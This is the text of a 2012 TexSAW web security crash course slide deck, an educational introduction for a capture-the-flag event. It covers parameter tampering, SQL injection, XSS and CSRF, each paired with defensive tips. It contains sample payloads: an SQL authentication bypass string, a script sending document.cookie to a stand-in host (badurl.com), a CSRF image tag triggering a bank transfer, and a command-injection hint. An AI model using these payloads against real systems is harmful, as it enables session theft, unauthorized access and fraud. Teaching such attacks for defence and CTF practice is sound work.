TexSAW 2012 Web Security Crash Course

1. TexSAW 2012Web Security Crash Course TexSAW 2012 Scott Hand

2. Introduction

3. Recommended Tools • Web browser – Firefox is recommended because of TamperData, Live HTTP Headers, etc. • Knowing Python helps • Very little else is needed, Backtrack Linux is useful for many automated tools

4. What We’re Targeting • Web Applications • Web Pages (HTML, PHP, etc.) • Databases • Goal • Steal data • Gain access to system • Bypass authentication blocks

5. Background

6. Web Servers • Web applications are really just an interface for accessing a web server • Example Web Servers: • Apache • IIS • Nginx • Self-contained servers for one application – Ruby on Rails, Django, Sinatra, node.js, etc. • Some servers like Apache resemble navigating a file system, others use RESTful routing

7. HTTP • HTTP is the means of communication • It is stateless • We get around this by using sessions • Sessions are stored in browser cookies • Side effect – If we steal someone’s cookies, the web server will think we are the same user

8. HTTP Requests • Web traffic involves a Request and a Response • GET and POST are two main request methods • GET is for an action intended to ask the server for information • POST is for an action intended to tell the server to do something • Examples: GET used for showing your profile on a web site, POST used to update your profile information

9. HTTP Request Parameters • Along with the URL and request method, HTTP requests can also carry parameters • GET parameters • Visible from the url:http://www.url.com/page.php?arg1=a&arg2=b • Can be embedded easily in links • POST parameters are not visible from the URL and not easily embedded in links, however they can easily be altered

10. Example Scenario

11. Example Exchange for a Bank SiteViewing Homepage Web Server User Database GET INDEX GET: index.php

12. Example Exchange for a Bank SiteLogging In Web Server User Database Auth POST OK Redirectto account SET UP SESSION POST: login.php Parameters: username, password

13. Example Exchange for a Bank SiteTransferring Some Money Web Server User Database Make changes POST OK Redirectto account POST: transfer.php Parameters: to, amount

14. Parameter Tampering

15. Tools • TamperData – Extension for Firefox • Can intercept and modify requests • Pretty powerful but can be tedious to use repeatedly • Live HTTP Headers – Extension for Firefox • Good for monitoring and replayingrequests • Fast and good as long as replaying traffic works • Burp Suite • Separate program, works through proxy – browser agnostic • Can do just about everything

16. Example Attack Web Server User Database Make changes POST OK Redirectto account POST: transfer.php Parameters: to, amount

17. Parameter Tampering • Example of real-life attack – PayPal was used by vendors to handle transactions. They trust PayPal and PayPal trusts them. • They trust that once they send the transaction to PayPal, it will be resolved and they can send the product when the transaction is complete • PayPal trusts that the information sent to them by the vendor, through the users’ browser (!!!), is correct • If we change the amount we pay to something small, neither party knows and we get the product for nothing

18. DEMO

19. Tips for Securing • Don’t trust requests by themselves! • Many frameworks will sign requests that they send to prevent tampering • Thinking that users can’t alter POST data because they can’t see it in their address bar is just weak security through obscurity

20. SQL Injections

21. Overview • SQL injection is part of a class of attacks in which we abuse poor programming to embed user-controlled data in trusted code run by the server • Vulnerable code consists of SQL queries being built using string concatenation or interpolation with user tainted variables:$query = “SELECT * from users ” . “WHERE username = ‘” . $username . “’ AND password = ‘” . $password .“’”;

22. Example Attack Web Server User Database Auth POST OK Redirectto account POST: login.php Lets look at the SQL and the attack...

23. Behind the Scenes for login.php • $query = “SELECT * from users ” . “WHERE username = ‘” . $username . “’ AND password = ‘” . $password . “’”; • Examine the result to see if the user is selected. • Sample normal query after input:SELECT * from users WHERE name=‘user’ AND password=‘password’ • Sample attack password: ’ OR ‘1’=‘1 • Resulting query:SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘1’=‘1’ • Always returns true, bypasses authentication

24. Other Types of Attacks • Can add INSERTS, UPDATES, etc. if multiple queries are supported • Blind SQL Injection • Needed when the results of a query are not displayed or even acknowledged • Use side channel attacks – sleep for a certain amount of time if the first character of password is ‘a’, repeat for each letter until a match is found then repeat for each character in password • sqlmap works wonders to help automate this

25. DEMO

26. Tips for Securing • USE PREPARED STATEMENTS • Don’t plug user input into queries • Don’t escape user tainted queries • SERIOUSLY • USE PREPARED STATEMENTS • THEY’RE NOT EVEN HARD TO USE

27. Cross Site Scripting (XSS)

28. Overview • Basic idea is to exploit the trust that your browser places in the website it’s viewing • Embed malicious code in the webpage and your browser will execute it • Two Types: • Reflected – Client-side. In request parameters or URL. Requires that a user click the malicious link or form. • Stored – Server-side. Embedded in a web page and hits every visitor that views the page.

29. Some Goals • Steal cookies • Since JavaScript can access cookies, you can send the victim’s cookies to yourself:<script>$.get(‘www.badurl.com/?cookie=’ + document.cookie);<script> • Mimic real user behavior • Fill out and submit forms • Open IFRAMEs to maintain access • Redirect to other pages

30. Example Exchange for a Bank SiteViewing Homepage Web Server User Database GET Infect INDEX Session Bad Guy GET: index.php

31. DEMO

32. Tips for Securing • Developers • Never, ever allow unauthorized users the ability to embed HTML into your page. • Escape every single bit of user input you get, it’s all dangerous • Users • Use NoScript or similar plugin • Don’t click a link with a bunch of JavaScript in the URL

33. Cross Site Request Forgery (CSRF)

34. Overview • Exploit the trust that the web server places in the victim’s browser • It’s difficult for a site to distinguish between legitimate requests and requests that an attacker caused • Not the same as XSS (which exploits browser’s trust in site), but plays very well with XSS – CSRF is often made more deadly by XSS

35. Example Exchange for a Bank SiteTransferring Some Money Bad Guy User Database Web Server POST Make changes OK Redirectto account POST: transfer.php Parameters: to=BAD GUY, 1000000

36. Ways to Trigger • An image:<imgsrc=“http://www.bank.com/transfer?to=1337&amount=1000000” /> • XSS:$.get(‘./profile.php’, function(data) { // evil });

37. DEMO

38. Tips for Securing • Only trust requests from your site • Use CSRF-protection tokens – one time tokens for forms – included in most web frameworks • Don’t make things like bank transfers or log outs a GET request, that just makes life easier for attackers • Not much you can do as a user

39. General Tips

40. Look at Requests! • Use TamperData, firebug, Chrome Developer Tools, Live HTTP Headers, etc. • Look closely at things that you can tamper to change the behavior of the application – sometimes the developer trusted that data and nothing will stop you

41. Inject Everything • If you think it’s using your data in SQL, try some SQL injection • If you think it’s using embedding your data in a program call (`ping $address`) then inject via things like && • If you think it’s running HTML, throw in some JavaScript

42. Situational Awareness • Pay close attention to what kind of web server you’re dealing with • Some web servers or web frameworks are more susceptible than others to certain attacks • For example, many web frameworks are good at preventing HTML injection, but tend to trust HTTP requests too much • Keep an eye out for home brewed stuff – whether it be crypto, injection escaping, web servers, etc. – it’s probably not as well vetted against malicious input

43. JavaScript – It does a lot • If you have jQuery on your website, use it! • You can issue requests and parse the results with $.get() and $.post(). These are so helpful for enhancing XSS attacks (example: do a GET to a user’s profile page, pull their info from the form, POST it to your page) • It gives you tools for shorter JavaScript payloads, especially handy when space is critical • Pretty much anything on the user’s end can be scripted and altered

44. Any questions?

45. That’s all, CTF Time! • Presented by Scott Hand (utdallas.edu/~shand)